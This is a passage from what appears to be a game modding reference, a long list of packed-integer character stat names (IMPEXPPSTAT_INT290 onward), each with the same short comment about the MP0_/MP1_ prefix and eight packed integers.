index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT290 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT291 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT292 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT293 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT294 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT295 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT296 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT297 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT298 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT299 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT300 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT301 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT302 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT303 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT304 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT305 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT306 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT307 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT308 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT309 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT310 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT311 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT312 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT313 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT314 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT315 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT316 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT317 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT318 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT319 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT320 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT321 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT322 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT323 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT324 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT325 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT326 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT327 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT328 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT329 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT330 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT331 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT332 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT333 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT334 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT335 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT336 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT337 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT338 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT339 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT340 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT341 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT342 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT343 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT344 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT345 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT346 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT347 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT348 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT349 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT350 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT351 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT352 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT353 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT354 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT355 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT356 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT357 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT358 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT359 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT360 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT361 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT362 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT363 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT364 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT365 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT366 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT367 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT368 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT369 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT370 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT371 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT372 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT373 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT374 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT375 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT376 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT377 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT378 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT379 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT380 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT381 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT382 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT383 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT384 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT385 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT386 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT387 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT388 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT389 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT390 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT391 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT392 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT393 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT394 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT395 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT396 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT397 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT398 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT399 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT400 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT401 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT402 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT403 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT404 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT405 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT406 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT407 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT408 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT409 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT410 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT411 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT412 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT413 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT414 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT415 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT416 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT417 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT418 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT419 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT420 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT421 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT422 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT423 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT424 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT425 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT426 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT427 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT428 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT429 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT430 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT431 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT432 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT433 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT434 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT435 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT436 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT437 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT438 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT439 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT440 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT441 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT442 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT443 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT444 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT445 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT446 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT447 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT448 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT449 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT450 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT451 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT452 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT453 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT454 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT455 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT456 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT457 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT458 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT459 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT460 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT461 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT462 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT463 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT464 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT465 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT466 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT467 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT468 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT469 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT470 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT471 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT472 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT473 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT474 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT475 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT476 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT477 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT478 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT479 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT480 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT481 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT482 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT483 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT484 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT485 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT486 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT487 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT488 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT489 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT490 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT491 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT492 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT493 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT494 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT495 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT496 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT497 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT498 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT499 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT500 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT501 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT502 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT503 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT504 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT505 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT506 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT507 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT508 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT509 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT510 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT511 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT512 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT513 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT514 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT515 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT516 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT517 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT518 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT519 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT520 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT521 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT522 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT523 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT524 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT525 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT526 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT527 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT528 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT529 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT530 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT531 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT532 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT533 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT534 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT535 // Add MP0_ or MP1_ // Character 